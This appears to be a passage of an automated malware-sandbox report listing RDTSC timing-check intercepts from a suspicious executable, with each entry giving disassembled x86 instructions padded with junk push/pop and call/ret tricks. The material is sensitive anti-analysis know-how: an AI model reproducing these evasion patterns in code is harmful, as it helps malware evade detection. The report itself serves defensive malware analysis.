Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E7D0 second address: 68E7D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E7D6 second address: 68E7DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E7DA second address: 68E81A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007F9AD4C553BEh 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+1244E8EBh], ebx 0x0000001c push 00000000h 0x0000001e mov ebx, dword ptr [ebp+122D30E0h] 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F9AD4C553C0h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E81A second address: 68E832 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9AD51D02A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F9AD51D02B0h 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68BA7C second address: 68BA86 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68BA86 second address: 68BA8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68BA8C second address: 68BA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7ED second address: 68F7FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD51D02ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68BA90 second address: 68BB1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, 0B7086C3h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9AD4C553B8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F9AD4C553B8h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D2A48h] 0x00000056 mov eax, dword ptr [ebp+122D12E1h] 0x0000005c or di, 540Ch 0x00000061 push FFFFFFFFh 0x00000063 mov ebx, dword ptr [ebp+122D2D10h] 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F9AD4C553C1h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F899 second address: 68F8A7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9AD51D02A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F8A7 second address: 68F8AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A17 second address: 689A1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A1B second address: 689A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A21 second address: 689A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A27 second address: 689AC2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F9AD4C553B8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 add dword ptr [ebp+1247850Eh], esi 0x0000002f push dword ptr fs:[00000000h] 0x00000036 mov dword ptr [ebp+122D596Eh], esi 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov ebx, 4E967FE6h 0x00000048 mov ebx, edx 0x0000004a mov eax, dword ptr [ebp+122D0835h] 0x00000050 sub dword ptr [ebp+122D1DE2h], eax 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push edi 0x0000005b call 00007F9AD4C553B8h 0x00000060 pop edi 0x00000061 mov dword ptr [esp+04h], edi 0x00000065 add dword ptr [esp+04h], 0000001Dh 0x0000006d inc edi 0x0000006e push edi 0x0000006f ret 0x00000070 pop edi 0x00000071 ret 0x00000072 mov di, 4137h 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F9AD4C553BFh 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689AC2 second address: 689AC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6908DC second address: 6908F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F9AD4C553C0h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E9D3 second address: 68EA04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F9AD51D02B7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EA04 second address: 68EA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD4C553C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690A44 second address: 690AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F9AD51D02A8h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jp 00007F9AD51D02A8h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F9AD51D02A8h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 push dword ptr fs:[00000000h] 0x0000003e mov dword ptr [ebp+124503F1h], edi 0x00000044 mov dword ptr fs:[00000000h], esp 0x0000004b mov eax, dword ptr [ebp+122D0F01h] 0x00000051 push 00000000h 0x00000053 push esi 0x00000054 call 00007F9AD51D02A8h 0x00000059 pop esi 0x0000005a mov dword ptr [esp+04h], esi 0x0000005e add dword ptr [esp+04h], 0000001Ch 0x00000066 inc esi 0x00000067 push esi 0x00000068 ret 0x00000069 pop esi 0x0000006a ret 0x0000006b sbb edi, 35657777h 0x00000071 push FFFFFFFFh 0x00000073 mov edi, dword ptr [ebp+1245ECD7h] 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c jns 00007F9AD51D02A8h 0x00000082 pushad 0x00000083 popad 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641443 second address: 641454 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A314 second address: 69A31C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A31C second address: 69A320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A320 second address: 69A326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A326 second address: 69A334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F9AD4C553B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A334 second address: 69A338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A338 second address: 69A358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jmp 00007F9AD4C553BFh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A358 second address: 69A369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9AD51D02AAh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A369 second address: 69A373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9AD4C553B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A373 second address: 69A377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699AA2 second address: 699AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 699C0C second address: 699C2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B9h 0x00000007 push ecx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FD8E second address: 69FD93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4C2D second address: 6A4C8B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9AD51D02A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F9AD51D02ACh 0x00000010 pushad 0x00000011 js 00007F9AD51D02A6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 jmp 00007F9AD51D02AAh 0x0000001e popad 0x0000001f popad 0x00000020 pushad 0x00000021 push ebx 0x00000022 jmp 00007F9AD51D02B7h 0x00000027 push edi 0x00000028 pop edi 0x00000029 pop ebx 0x0000002a push ecx 0x0000002b jmp 00007F9AD51D02B2h 0x00000030 pop ecx 0x00000031 push edi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4C8B second address: 6A4C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3AF7 second address: 6A3B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9AD51D02A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3B02 second address: 6A3B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F9AD4C553B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3FFA second address: 6A4004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9AD51D02A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4004 second address: 6A4008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4008 second address: 6A4012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4012 second address: 6A401C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A445A second address: 6A4460 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4460 second address: 6A449A instructions: 0x00000000 rdtsc 0x00000002 js 00007F9AD4C553B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F9AD4C553C4h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 jc 00007F9AD4C553CEh 0x0000001a push edi 0x0000001b js 00007F9AD4C553B6h 0x00000021 pushad 0x00000022 popad 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 ja 00007F9AD4C553B6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4823 second address: 6A4827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A62F4 second address: 6A62FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A62FA second address: 6A6306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007F9AD51D02A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DEDF second address: 63DEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DEE5 second address: 63DEFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9AD51D02B4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DEFE second address: 63DF19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F9AD4C553C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A794A second address: 6A7950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7950 second address: 6A7988 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop edi 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007F9AD4C553B6h 0x00000011 pop edi 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jno 00007F9AD4C553BAh 0x0000001c jmp 00007F9AD4C553C8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA5AD second address: 6AA5B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA5B1 second address: 6AA5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AA5BB second address: 6AA5D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02B5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE796 second address: 6AE7A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9AD4C553B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F3C6 second address: 67F3EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AD51D02B2h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F9AD51D02ACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F4FF second address: 67F509 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9AD4C553B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F509 second address: 67F50F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FBA8 second address: 67FBB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F9AD4C553B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FBB6 second address: 67FBC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FBC4 second address: 67FBCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FC89 second address: 67FC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FDA9 second address: 67FDAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FE96 second address: 67FE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67FE9E second address: 67FEAB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680049 second address: 68004F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68004F second address: 68005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9AD4C553BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68005D second address: 680061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680429 second address: 6804A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F9AD4C553B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 and ecx, dword ptr [ebp+122D2D24h] 0x0000002a jmp 00007F9AD4C553BBh 0x0000002f push 0000001Eh 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F9AD4C553B8h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D2D70h] 0x00000051 jmp 00007F9AD4C553BAh 0x00000056 nop 0x00000057 jc 00007F9AD4C553C2h 0x0000005d jbe 00007F9AD4C553BCh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804A2 second address: 6804AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6804AC second address: 6804BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68080B second address: 68083C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, 010F52B5h 0x00000011 lea eax, dword ptr [ebp+124831A4h] 0x00000017 mov cl, B7h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d push esi 0x0000001e pop esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68083C second address: 6808C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD4C553C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F9AD4C553B8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 lea eax, dword ptr [ebp+12483160h] 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007F9AD4C553B8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 adc dx, 63C6h 0x0000004b sbb edx, 1EBBF533h 0x00000051 nop 0x00000052 pushad 0x00000053 jmp 00007F9AD4C553BEh 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6808C1 second address: 6808C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F9D2 second address: 63F9F0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jg 00007F9AD4C553B6h 0x0000000f pop edx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push edx 0x00000016 pop edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F9F0 second address: 63F9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F9F4 second address: 63FA12 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9AD4C553C2h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FA12 second address: 63FA16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEC62 second address: 6AEC67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEE2F second address: 6AEE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9AD51D02A6h 0x0000000a rdtsc
